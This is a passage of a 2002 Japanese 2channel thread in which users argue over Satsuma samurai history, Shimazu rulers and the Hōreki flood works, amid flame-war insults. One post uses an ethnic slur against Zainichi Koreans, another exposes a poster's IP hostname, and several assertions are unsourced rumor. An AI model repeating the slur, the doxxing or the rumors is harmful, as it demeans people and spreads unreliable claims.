相手の挑発には乗ってはならない。
挑発の先にKZが待っていることは、まず確実であり、これに無策で乗る事は無謀でしかない。
その場は忍従し、再戦を期すのが、妥当である。
(とはいえ、案外、博打に出て成功することもあるんだろうが)

この教訓を生かせなかったのが太平洋戦争であり、西南戦争であっただろう。
大政官側の挑発にノコノコ乗った薩摩武士は、後世にドアホウと笑われてもしかたがない。
(西郷側に、どんなに言い分があってもね)

・・・現在の日本も、今のところはアメリカの腰巾着として立ちまわっておけば良いというこったね。

調所に関しては・・・。
「植民地経営はオイシイ。韓国を併合しよう」

いや、「斉彬の活動資金-再戦の軍資金-を都合するという、歴史的役目を担っていた」とか?

>>740
ごめんよ、ソリティアをやるのに忙殺されてたんだ。

(しかし、宝暦治水の薩摩武ってかなり、ホモホモになったんじゃないだろうか?)

745 :D:02/05/17 02:13 ID:dIbveBBY
どこがマジレスなんだよ?見え透いた手抜きをしおって。
憶測まみれの下層もとい仮想戦記にすれば不勉強をカムフラージュ出来るとでも思ったのか?
まず、九州全域を支配したら生かさず殺さずとかナントカってあたりだが、完全な妄想だ。
朝鮮征伐に臨む軍議の席で、島津義弘は朝鮮での領土的な見返りを一切求めなかった為に諸将を驚かせている。
勿論それなりの理由があっての態度だった訳だが、島津家には物欲に溺れるような気風などないのだ。
訳もなく生かさず殺さずとは根拠の無い妄想に過ぎない。

幕府の目が届きにくかったというのも一概には言えない。
幕府老中阿部正弘は斉彬に対して、薩摩には常に複数の隠密が潜入していると漏らしている。
それほど気軽に隠しておける事があった訳ではない。
むしろ薩摩の違法行為に幕府が気づかなかったように見える時には、
表沙汰にすると大事になって皆が苦労するから、あえて見て見ぬふりをしていた節があると解釈すべきだろう。


746 :D:02/05/17 02:27 ID:a5HX4KqW
上士と下士の関係についても偏見が過ぎる。
西郷家は赤山靱負という上士の「用達」という役を任じていた。
まあ、秘書みたいなものだ。
吉之助の祝言にあたっては、赤山が仲人を務めている。
上士と下士がひたすら反目していたなら、こういう交流は成立しないだろう。
赤山がお由良騒動で失脚して切腹した時には、形見として血染めの肌着が吉之助に贈られたという。
赤山と西郷の関係を見ても、上士が下士をイヂメていただけという見解が妄想だと分かる。

最後にホモ問題だが、宝暦治水の際には近辺から遊女が相当数手配されていたという。
物事を一面的にしか見ないから、歴史音痴なのだと言ってるだろう。もっと精進する事だ。
今の水準では、とても国際情勢を考察する事など不可能だぞ。
今回の採点。宝暦治水の教訓はほぼ正解。ただその程度の事なら本来小学生でも気づいて当然だ。
俺がここで話題に取り上げた意図が完全に理解できている形跡がないので80点といったところだ。
調所に関しては全然駄目。15点。不合格。
でわ。



747 :茶々丸:02/05/17 16:43 ID:N/oRYTBI
最近、僕を叩く人がいなくなったようだが・・・・・・。

748 :名無しさん@お腹いっぱい。:02/05/17 18:01 ID:v2TjTjjL
>>747 流石に枢機郷は皆から馬鹿にされてる事を自覚して力尽きたみたい。
おかげで君はこの板における伝説になってしまったよ。
一体君は枢機郷に何をやってあんな騒ぎになったの?
まあ、単に枢機郷を馬鹿として扱った(つまり妥当な評価を下した)だけなんだろうけどね。

749 :DD:02/05/17 18:42 ID:rW+dgukO
島津家には物欲に溺れるような気風などないのだ。

>同感じゃ。




750 : ◆yzlSeA0w :02/05/17 19:36 ID:BDGQbrEc
>>725
>最近元気な◆yzlSeA0wに失業者疑惑。

そうなりよ、朝鮮総連をクビになったなりよ〜

751 :エラワン ◆X0jRLHdw :02/05/17 22:14 ID:oC2kMcOd
◆yzlSeA0wさんって女性?

それはそれとして、最近は枢機郷君が来ないね。
逃亡生活かな?

752 :どうでもいいけど:02/05/18 00:35 ID:5HxP9OhY
>>745
それはマジな部分じゃないすよ。

>島津家には物欲に溺れるような気風などないのだ。

久光とかは?
私利私欲を公益と勘違いする人もいますからねえ。

>訳もなく生かさず殺さずとは根拠の無い妄想に過ぎない。

薩摩武士道って、規律とか統制
それに、別に物欲のためだけに、金が必要になるわけじゃないでしょう?

>幕府の目が届きにくかったというのも一概には言えない。

江戸から地理的に遠方にあり、”比較的”目は届きにくかったんでしょう?

753 :どうでもいいけど:02/05/18 00:47 ID:5HxP9OhY
>赤山と西郷の関係を見ても、上士が下士をイヂメていただけという見解が妄想だと分かる。

別にイヂメてただけ、とまでは言いませんがね。

上士は郷士との間には差別があった。
郷士の中にはそれに反感を持つ者がいた。
しかし、それを当然の常識として受け入れていた、ってところはないんですか?

マインドコントロールの結果としてね。

ホモ問題はネタっすよ。
まあ、慰安婦が相当数手配されていたとしても、出張者の間で
男色じごくが展開されていた可能性はかなり高いと思いますがね。

にしても、一汁一菜だけだった、と言うのも眉唾だな。
自費で栄養のあるものを食っていたと考える方が妥当そうだすな。

754 :どうでもいいけど:02/05/18 00:54 ID:5HxP9OhY
宝暦治水事件をここで取り上げた理由は、ひょっとしたらアレですか?アレ。

IDを変えまくって中傷する「名無しの馬鹿野郎」の挑発に一々に乗るなって事。

あの名無しの雑兵は「挑発に乗る奴が悪い、その程度の分際で(以下略)」などと、
開き直るのが性質が悪いし、見苦しい。

言う事に一理あるのかもしれないが、まるで説教強盗みたいだね。

755 : ◆yzlSeA0w :02/05/18 05:28 ID:YpcfYUOE
>>751
>◆yzlSeA0wさんって女性?

に見えますか?

>それはそれとして、最近は枢機郷君が来ないね。
>逃亡生活かな?

呆れて出てったかな。
ちょいとばかり、戻ってきて欲しかったりもする。



756 : ◆yzlSeA0w :02/05/18 10:40 ID:YpcfYUOE
旧・枢機郷板
http://jbbs.shitaraba.com/news/192/
今はこんな有り様になってるんですが、どーいう意図なんだろう。
全く理解不能。。

ちなみに書いてるやつのIPは ACBBB7D8.ipt.aol.com

757 :エラワン ◆X0jRLHdw :02/05/18 15:10 ID:QlXdPYA2
女性に見えるときがあるけど、答えは?

758 :枢機郷 ッwiSZ9y22:02/05/18 17:06 ID:/4EGsHgK
ワーハッハッハーー、ワーハッハッハーー、ワーハッハッハーー。
俺は名無しで潜伏中だよーん。在日チョンに追われてるんだよーん。

ワーハッハッハーー、ワーハッハッハーー、ワーハッハッハーー。


759 : ◆yzlSeA0w :02/05/19 02:09 ID:pEnYwBDB
>>757
ご想像にお任せします。

760 : ◆yzlSeA0w :02/05/20 20:02 ID:Mvb1pIuG
なんだか嫌韓厨・ウヨが大量発生しているんですが、何かあったんでしょうか?


761 :どうでもいいけど:02/05/20 21:27 ID:mN0GtJkN
>>760
中国の「亡命者連行事件」

762 :エラワン ◆X0jRLHdw :02/05/20 23:35 ID:2Xnc+KcQ
ยีดกะพัะ
บน้ัเฟหต้ีเพน
ุถกจยม้ภถไย
นืกจ่ฟ้ห่ะพบยมา



763 :エラワン ◆X0jRLHdw :02/05/20 23:36 ID:2Xnc+KcQ
>>762は気にしないでくれ。
ただのテストカキコだ。


764 :名無し三等兵:02/05/21 00:28 ID:RVsM5qar
>>762
(;´д`)y-~~な、何語なんだ・・・・?

765 : ◆yzlSeA0w :02/05/21 02:42 ID:7xXNwdbK
>>761
ということは、亡命者連行事件は日本の世論に影響を与えることができたと言えるんでしょうか。


766 :D:02/05/21 11:19 ID:A/mcVghz
遅くなったな、最近睡魔との戦いに苦戦しとるんだよ。
睡魔は必ず勝つ、ムー帝国のように。
さて>>752の寝言についてだが、久光が私欲に溺れる人物という評価は納得いかんな。
西郷が久光の目の前で世間知らずの田舎者呼ばわりをして不興を買った事は知られている。
久光も西郷にはいつか切腹を命じる旨の発言を周囲に漏らしていた。
上の者にガン飛ばしただけで斬り捨てられる薩摩において、西郷が死を命じられなかった理由は何だと思うのかね?

>それに、別に物欲のためだけに、金が必要になるわけじゃないでしょう?
武士が私利私欲で収奪してる訳でないなら、何が悪いのだ?

>江戸から地理的に遠方にあり、”比較的”目は届きにくかったんでしょう?

下らん言葉遊びだな。薩摩が密貿易や通貨偽造をしてるのは民間人の間ですら公然の秘密だった。
本来なら取り潰し必至の違反だったが、幕府が見て見ぬふりをしていたのは明白だ。

>上士は郷士との間には差別があった。
>郷士の中にはそれに反感を持つ者がいた。
>しかし、それを当然の常識として受け入れていた、ってところはないんですか?

当然に決まっとる。彼らは民主主義思想に汚染されていなかったのだからな。
薩摩で郷士身分で居ると言う事は大した功績を上げていない事を意味する。
力量が有れば茶坊主から江戸家老となった調所のようになれたのだ。

治水工事での一汁一菜が疑問なら自分で調べる事だな。平田靱負は武具を売り払って資金の足しにしたそうだ。
武士が武器を売る一方で食い物に金をかけていたと言う証拠が見つかったら、反論としての体裁は整うがな。

>>754
雑魚の挑発に乗らないのは、指導種族たる武士にとって呼吸同様にたやすい事だ。
その程度の戯言で俺をどうにか出来ると思っているなら見当違いだぞ。
でわ










767 :【国際】CNN・BBCが捕鯨再開アンケート実施【祭】:02/05/22 16:34 ID:4Rgr9FLg
Should commercial whaling be re-introduced? (商業捕鯨を再導入するべきか?)
CNNとBBSが捕鯨再開についてアンケート取ってます。
賛成派なら「Yes」に投票してください。
CNN ※投票場所は画面右下にあります。
http://asia.cnn.com/2002/WORLD/asiapcf/east/05/20/japan.whaling/index.html
BBC ※投票場所は画面右上にあります。
http://newsvote.bbc.co.uk/hi/english/talking_point/newsid_1998000/1998502.stm
※関連スレ
【祭】鯨を食わせろ!【祭】
http://ex.2ch.net/test/read.cgi/entrance/1021913005/l50

※コピペ推奨

768 :名無しさん@お腹いっぱい。:02/05/22 16:52 ID:djxNkpst
各マスコミのニュースを集めたページを作ってみた。
便利だと思うんで使ってみてくれ。
http://www.news-shower.com/

769 :どうでもいいけど:02/05/22 22:43 ID:PpH1X6lc
>>765
ワイドショーで、どれだけ取り上げられたか、土曜のブロードキャスターで確認して見たら良いと思う。
関心高いですよ。

>>766
>上の者にガン飛ばしただけで斬り捨てられる薩摩において、西郷が死を命じられなかった理由は何だと思うのかね?

他の家臣達が、西郷を惜しんで止めたから、ってのは?

>>それに、別に物欲のためだけに、金が必要になるわけじゃないでしょう?
>武士が私利私欲で収奪してる訳でないなら、何が悪いのだ?

私利私欲は物欲だけではないでしょう。
権力欲とかはどうです?
代々の島津タンは権力指向を持っていなかったの?

>当然に決まっとる。彼らは民主主義思想に汚染されていなかったのだからな。
つまり圧政があった、ということですな。

>治水工事での一汁一菜が疑問なら自分で調べる事だな。平田靱負は武具を売り払って資金の足しにしたそうだ。
>武士が武器を売る一方で食い物に金をかけていたと言う証拠が見つかったら、反論としての体裁は整うがな。

いや、栄養失調気味の上、疫病でバタバタ死んでるのに、「遊女が相当数手配」されていたというのは・・・?
まさか、武器を売ってピーを買っていたと?
栄養失調と遊女の、どちらを選ぶかと聞かれたら、普通は糧秣では?
で、金が無くて遊女を買えない人が多かったんじゃないかな?
そしてバラックは、夜な夜な男色じごくに・・・。

770 :どうでもいいけど:02/05/22 22:54 ID:PpH1X6lc
>>766
>>754
>雑魚の挑発に乗らないのは、指導種族たる武士にとって呼吸同様にたやすい事だ。
>その程度の戯言で俺をどうにか出来ると思っているなら見当違いだぞ。
>でわ

「その程度の戯言で俺をどうにか」

は?
Dサンのことだなんて、一言も言っておりませんが?

やだなあ、
あくまでも、IDを変えまくって中傷する「名無しの馬鹿野郎」のことですよ。

それに、ヤローは武士じゃないっすよ?
掲示板に名無しで書きこむようなヘタレは雑兵なんですよね、たしか。
なのにあのクソ馬鹿は「薩摩武士の復興」なんて嘯いていましたけどねえ・・・。

状況を読まず、周りに流されるまま西南戦争に参加した薩摩の雑兵って、あんな感じだったんでしょうね。

771 :謝謝:02/05/22 22:58 ID:ElBKMgu0
外務省の友人からの極秘情報・・・
領事館内のカメラは作動していて、一部始終、録画されていた。
ただし、省内ではトップシークレット。恐らく、首相・大臣にも上げていないらしい。
内容の情報は全く流れていない、つかめないとのこと。

772 :D:02/05/22 23:03 ID:excXRlBB
お?ドンピシャだ。でもこれから風呂に行く所だ。取り急ぎ知性化しておく。

>他の家臣達が、西郷を惜しんで止めたから、ってのは?
つまり私情に溺れて大義を見失うような人物ではなかったという事だ。
これが出来る君主は名君なんだよ。

>私利私欲は物欲だけではないでしょう。
>権力欲とかはどうです?
>代々の島津タンは権力指向を持っていなかったの?

権力志向などあって当然だ。島津氏はそれを理性でコントロールしていたから「私欲に溺れていない」と言えるのだよ。
見境なく権力に溺れているんだったら、義弘は朝鮮半島でも領土の配分を要求している筈だな。
話が堂々巡りになってるぞ。

>つまり圧政があった、ということですな
民主主義でないなら圧政なのかね?どういう理屈なんだよ。
すっかり洗脳されおって。

>いや、栄養失調気味の上、疫病でバタバタ死んでるのに、「遊女が相当数手配」されていたというのは・・・?

ちゃんと調べとけと言ってたろう?怠けてもすぐ分かるんだぞ。
遊女の手配は幕府が薩摩に義務づけたんだよ。金を使わせる為にな。










773 :D:02/05/22 23:14 ID:excXRlBB
>>770
西南戦争の雑兵は、だまし討ち同然に既得権を新政府に取り上げられた士族の不満に共感したのだろう。
弱きを助け強きをくじく美学に殉じて死ぬのもまた武士道なんだよ。
それから名無しがどうとか気にしているようだが、
名無しかコテハンかなど、状況次第で都合のよい方を選択すれば良いだけの事だ。
議論の作法も知らないyなんたらのような輩に対して、ただ論理のみで対応するのは海中の敵潜水艦を高射砲で撃沈しようと試みるようなものだ。
状況に応じて適切な戦術を見極める事、それが兵法というものだよ。前に言った筈だろ?


774 :どうでもいいけど:02/05/23 00:05 ID:8YS2ZCYH
>>772
>つまり私情に溺れて大義を見失うような人物ではなかったという事だ。
>これが出来る君主は名君なんだよ。
大儀というか、家臣を無視できなかっただけじゃ?

>権力志向などあって当然だ。島津氏はそれを理性でコントロールしていたから「私欲に溺れていない」と言えるのだよ。
久光タンも?
時代の趨勢を読めず、鹿児島を手放さなかったみたいだけど?

>民主主義でないなら圧政なのかね?どういう理屈なんだよ。
いや、生まれによる差別があって当然、てとこが・・。

>遊女の手配は幕府が薩摩に義務づけたんだよ。金を使わせる為にな。
へ〜。
そうすっか。
やっぱり男色じごくだったんだ。

775 :どうでもいいけど:02/05/23 00:06 ID:8YS2ZCYH
>>773
>名無しかコテハンかなど、状況次第で都合のよい方を選択すれば良いだけの事だ。

ありゃ?
薩摩武士道では、名無しは相手にする価値なしの「雑兵」なんでしょう?
わざわざ雑兵に身をやつすってわけですかい?

ま、当方にとっては、どうでもいいことですけどね。

しかし、雑兵のカッコウで「薩摩武士道の復興」なんて叫んでも滑稽なだけですぜ。

776 :D:02/05/23 00:15 ID:EMS07ajX
>大儀というか、家臣を無視できなかっただけじゃ?
つまり、私情に溺れていないと言う事だ。

>時代の趨勢を読めず、鹿児島を手放さなかったみたいだけど?
時代の趨勢などは後になって判明するものだ。
久光は敢えて言えばハズレくじを引いただけというところだ。

>いや、生まれによる差別があって当然、てとこが・
差別もある明るい時代。それが江戸時代なのだよ。洗脳が解けてないぞ。

>やっぱり男色じごくだったんだ。
遊女に金を出したのは藩だぞ。なんでそうなるんだ?歴史音痴だな。

>しかし、雑兵のカッコウで「薩摩武士道の復興」なんて叫んでも滑稽なだけですぜ。

雑兵を知性化する為に必要ならどんな手段も躊躇うべきではない。
格好つけてても何も成し遂げられない方が滑稽なのだよ。
俺は色々と成し遂げている最中だぞ。

777 :どうでもいいけど:02/05/23 00:37 ID:8YS2ZCYH
しかし、久光タンは一生涯、不満タラタラだったみたいですな。

>差別もある明るい時代。それが江戸時代なのだよ。洗脳が解けてないぞ。
むー?
明治維新でアレだけのエネルギーが噴出したのは、ものすごい抑圧の反作用という面があったんじゃなんでスカ?

>遊女に金を出したのは藩だぞ。なんでそうなるんだ?歴史音痴だな。
ああなるほど、個人負担じゃないのか。
そりゃ、至れり尽せりだね。
って、栄養失調じゃ無理か・・・。

>雑兵を知性化する為に必要ならどんな手段も躊躇うべきではない。
・・・実は愉快犯


ところで風呂はどうなったの?

778 :D:02/05/23 00:39 ID:EMS07ajX
今から行く。
長風呂が趣味なんだが知性化に時間をかけ過ぎたようだ。
でわ

779 :D:02/05/23 03:04 ID:HhsItHGO
風呂上がりにイッチョ知性化といくか。
久光は不満たらたらでも分別を保って暴挙に訴えなかったから立派なんだよ。
既得権を奪われたと言う意味では元部下に裏切られた様なものなのにも関わらず、
西郷や大久保が私利私欲で動いていた訳でない事は理解していた訳だ。

>明治維新でアレだけのエネルギーが噴出したのは、ものすごい抑圧の反作用という面があったんじゃなんでスカ?
その理屈では農民や賎民の方が元気な筈だな。史実ではほとんどめぼしい活躍が記録されておらんが。

そろそろ屁理屈も打ち止めかね?
レキシシューセー主義を断念しないといつまでも知性化を継続する事になるぞ。
でわ

780 :エラワン ◆X0jRLHdw :02/05/23 03:19 ID:idBv1Gdt
赤軍Zはどこじゃあ?

781 :エラワン ◆X0jRLHdw :02/05/23 03:21 ID:idBv1Gdt
俺が奴をしきりに気にする理由はたったひとつだね。
意見が全く正反対な事。

赤軍Z:アメリカ嫌い、中国好き 左翼っぽい
俺:  アメリカ好き、中国嫌い 右翼っぽい(自分で認めるな!?)

782 :エラワン ◇X0jRLHdw :02/05/23 06:48 ID:zWtAtgqy
>その理屈では農民や賎民の方が元気な筈だな。史実ではほとんどめぼしい活躍が記録されておらんが。
>そろそろ屁理屈も打ち止めかね?
>レキシシューセー主義を断念しないといつまでも知性化を継続する事になるぞ。
>でわ

君自身わかっているように修正主義者はお前だ。
史実にあたればどれだけ一揆があったかわかるだろう。
そして新政府がどのようにこれを再び抑圧したかも。

783 :D:02/05/23 09:04 ID:QWHE/7AB
ならば一揆の件数が少ない国の方が抑圧されていなかったという理屈になる筈だな。
江戸期における薩摩での一揆の発生件数を知らないのか?
つくづく歴史修正主義などと口走る輩は低能揃いで面白い。
お前も知性化してやろう。
暇があったらだがな、エラガルフ、もといエラワン君


784 :エラワン ◆X0jRLHdw :02/05/23 14:02 ID:ff2l5rph
面白そうだから偽者君の発言を傍観しよう。
どうやら犯人は赤軍Zの仕業らしいな。

785 :名無しさん@お腹いっぱい。:02/05/23 14:21 ID:we5jMI+9
エラは誰が偽物か判りづらいな


786 :名無しさん@お腹いっぱい。:02/05/23 14:24 ID:nFj3rfQN
アメリカは文民統制されてるんですか?


787 :エラワン ◆X0jRLHdw :02/05/23 14:33 ID:ff2l5rph
トリップで判断じゃあ。
ま、偽者君が芸実的な発言をしてくれればそれはそれで面白いと期待している。
ガンバレ、偽者君。

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